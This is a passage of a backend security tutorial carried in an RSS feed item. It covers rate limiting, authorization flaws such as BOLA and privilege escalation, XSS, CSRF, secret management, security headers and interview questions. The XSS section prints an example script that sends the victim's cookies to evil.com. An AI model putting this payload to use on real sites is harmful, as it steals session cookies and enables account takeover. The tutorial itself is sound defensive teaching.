&lt;/div&gt;



&lt;p&gt;Per account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5 failed attempts → temporary lock
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Global limits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;100 login attempts per minute
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Common implementations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redis counters&lt;/li&gt;
&lt;li&gt;API gateway limits&lt;/li&gt;
&lt;li&gt;Cloudflare protections&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Authorization Security
&lt;/h2&gt;

&lt;p&gt;Authentication verifies identity.&lt;/p&gt;

&lt;p&gt;Authorization determines what actions are allowed.&lt;/p&gt;

&lt;p&gt;Most backend breaches occur due to authorization mistakes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Broken Object Level Authorization (BOLA)
&lt;/h2&gt;

&lt;p&gt;Occurs when users access resources belonging to other users.&lt;/p&gt;

&lt;p&gt;Example endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /orders/1002
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Vulnerable Query
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1002&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Secure Query
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1002&lt;/span&gt;
&lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;currentUser&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Broken Function Level Authorization
&lt;/h2&gt;

&lt;p&gt;Occurs when restricted functionality is exposed.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /admin/users
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Protection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Forbidden&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Authorization Attack Types
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Horizontal Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;User accesses other users' data.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;/users/2/profile
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Vertical Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;User gains higher privileges.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;/admin/deleteUser
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Cross-Site Scripting (XSS)
&lt;/h2&gt;

&lt;p&gt;XSS occurs when malicious JavaScript executes inside another user's browser.&lt;/p&gt;

&lt;p&gt;Example payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://evil.com/steal?cookie=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Types of XSS
&lt;/h3&gt;

&lt;p&gt;Stored XSS&lt;br&gt;
Malicious script stored in database.&lt;/p&gt;

&lt;p&gt;Reflected XSS&lt;br&gt;
Script embedded in URL parameters.&lt;/p&gt;

&lt;p&gt;DOM XSS&lt;br&gt;
Client-side scripts manipulate unsafe data.&lt;/p&gt;


&lt;h3&gt;
  
  
  XSS Prevention
&lt;/h3&gt;

&lt;p&gt;Escape user input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;escapeHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sanitize HTML using libraries like DOMPurify.&lt;/p&gt;

&lt;p&gt;Content Security Policy example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy: script-src 'self'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  CSRF (Cross-Site Request Forgery)
&lt;/h2&gt;

&lt;p&gt;CSRF tricks a browser into sending authenticated requests.&lt;/p&gt;

&lt;p&gt;Example attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /transfer
amount=1000
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Browser automatically includes session cookies.&lt;/p&gt;

&lt;h3&gt;
  
  
  CSRF Protection
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;SameSite cookies&lt;/li&gt;
&lt;li&gt;CSRF tokens&lt;/li&gt;
&lt;li&gt;strict CORS rules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Modern browsers mitigate many CSRF cases by default.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security Misconfiguration
&lt;/h2&gt;

&lt;p&gt;Many breaches occur due to configuration errors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Secret Management
&lt;/h3&gt;

&lt;p&gt;Never store secrets in source code.&lt;/p&gt;

&lt;p&gt;Incorrect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;DB_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;mypassword&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Correct:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DB_PASSWORD&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use secret managers such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS Secrets Manager&lt;/li&gt;
&lt;li&gt;Hashicorp Vault&lt;/li&gt;
&lt;li&gt;GCP Secret Manager&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Debug Mode in Production
&lt;/h3&gt;

&lt;p&gt;Debug logs may expose:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;stack traces&lt;/li&gt;
&lt;li&gt;database queries&lt;/li&gt;
&lt;li&gt;credentials&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Always disable debug logging in production.&lt;/p&gt;




&lt;h3&gt;
  
  
  Security Headers
&lt;/h3&gt;

&lt;p&gt;Important headers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Security-Policy
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tools like Helmet.js configure these automatically.&lt;/p&gt;




&lt;h2&gt;
  
  
  Secure Backend Architecture Checklist
&lt;/h2&gt;

&lt;p&gt;A strong security model uses multiple defensive layers.&lt;/p&gt;

&lt;p&gt;Key layers include:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;strict input validation&lt;/li&gt;
&lt;li&gt;parameterized database queries&lt;/li&gt;
&lt;li&gt;secure authentication&lt;/li&gt;
&lt;li&gt;strict authorization checks&lt;/li&gt;
&lt;li&gt;security headers&lt;/li&gt;
&lt;li&gt;monitoring and logging&lt;/li&gt;
&lt;li&gt;rate limiting&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Interview Preparation: Key Questions
&lt;/h2&gt;

&lt;p&gt;What is SQL Injection?&lt;br&gt;
Injection of malicious SQL due to improper input handling. Prevention is parameterized queries.&lt;/p&gt;

&lt;p&gt;Authentication vs Authorization&lt;br&gt;
Authentication verifies identity. Authorization determines permissions.&lt;/p&gt;

&lt;p&gt;Why use bcrypt or Argon2?&lt;br&gt;
They are slow hashing algorithms designed to resist brute-force attacks.&lt;/p&gt;

&lt;p&gt;What is BOLA?&lt;br&gt;
Broken Object Level Authorization allows users to access resources belonging to other users.&lt;/p&gt;

&lt;p&gt;Sessions vs JWT&lt;/p&gt;

&lt;p&gt;Sessions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;stateful&lt;/li&gt;
&lt;li&gt;server stores session data&lt;/li&gt;
&lt;li&gt;easy revocation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;JWT&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;stateless&lt;/li&gt;
&lt;li&gt;client stores token&lt;/li&gt;
&lt;li&gt;harder revocation&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final Takeaway
&lt;/h2&gt;

&lt;p&gt;Most backend vulnerabilities occur when &lt;strong&gt;data crosses trust boundaries without validation or access control&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Always consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is this input trusted?&lt;/li&gt;
&lt;li&gt;What system will interpret it?&lt;/li&gt;
&lt;li&gt;What happens if the input is malicious?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security is not about memorizing attacks.&lt;br&gt;
It is about designing systems that assume attackers exist.&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>backend</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
